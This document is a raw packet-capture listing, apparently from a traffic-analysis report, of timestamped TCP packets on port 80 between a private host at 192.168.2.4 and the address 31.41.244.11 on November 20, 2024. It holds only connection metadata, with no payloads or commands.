Nov 20, 2024 04:08:10.045419931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045444012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045479059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045504093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045526028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045531988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045576096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045576096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045634985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045681000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045691013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045737982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045774937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045789003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045804024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045821905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045825005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045864105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045865059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045865059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045870066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045897007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045911074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045912027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045928001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045953035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045952082 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045953035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045968056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045973063 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.045984983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.045995951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046010971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046020985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046020985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046027899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046044111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046053886 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046067953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046077967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046086073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046098948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046103001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046119928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046124935 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046125889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046144009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046164036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046212912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046227932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046245098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046282053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046282053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046305895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046308994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046324968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046339989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046364069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046364069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046385050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046427965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046506882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046552896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046586990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046602964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046621084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046627998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046638966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046654940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046674967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046700954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046715021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046742916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046742916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046746969 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046765089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046773911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046782017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046792030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046829939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046832085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046832085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046845913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046876907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046883106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046899080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046902895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046928883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046962023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046977997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.046986103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046986103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046987057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.046994925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047013998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047019958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047029972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047039986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047059059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047063112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047075033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047087908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047097921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047111034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047111034 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047115088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047132015 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047147036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047164917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.047168970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047168970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047189951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.047208071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092076063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092094898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092109919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092142105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092173100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092180967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092206955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092222929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092235088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092238903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092256069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092272043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092292070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092307091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092307091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092307091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092307091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092355967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092392921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092423916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092438936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092443943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092456102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092470884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092472076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092489004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092490911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092503071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092510939 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092521906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092531919 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092540026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092547894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092555046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092571974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092586994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092590094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092609882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092614889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092626095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.092643023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.092685938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132025957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132081032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132129908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132144928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132159948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132177114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132184029 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132193089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132206917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132206917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132210970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132227898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132236004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132236004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132262945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132265091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132265091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132278919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132303953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132313967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132329941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132334948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132344961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132363081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132371902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132380009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132389069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132389069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132409096 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132426977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132642984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132674932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132704020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132704973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132718086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132725954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132735968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132751942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132761955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132761955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132767916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132781982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132783890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132802963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132819891 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132839918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132884026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.132960081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132977962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.132994890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133008957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133023977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133024931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133044958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133045912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133063078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133066893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133080959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133095980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133096933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133121967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133121967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133124113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133138895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133147001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133156061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133163929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133173943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133184910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133189917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133207083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133209944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133209944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133229017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133248091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133419991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133446932 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133461952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133476019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133497953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133497953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133507013 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133533955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133549929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133564949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133574963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133574963 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133604050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133604050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133620977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133651018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133676052 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133682966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133696079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133697987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133723974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133730888 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133742094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133757114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133766890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133766890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133774996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133790970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133794069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.133810043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133830070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.133830070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134140968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134188890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134213924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134227991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134251118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134263039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134268999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134284019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134294987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134309053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134309053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134332895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134347916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134349108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134368896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134392023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134392977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134409904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134418011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134433031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134434938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134449005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134462118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134462118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134479046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134485960 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134497881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134510040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134510994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134526968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134551048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134551048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134568930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134586096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134599924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134615898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134634018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134653091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134679079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134692907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134707928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134723902 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134733915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134738922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134754896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134756088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.134773970 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134802103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.134802103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135046959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135060072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135083914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135099888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135104895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135114908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135123968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135133028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135139942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135149002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135159969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135165930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135184050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135184050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135184050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135202885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135217905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135270119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135283947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135299921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135323048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.135333061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135333061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135333061 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.135365009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171571970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171605110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171621084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171638966 CET	62430	80	192.168.2.4	31.41.244.11
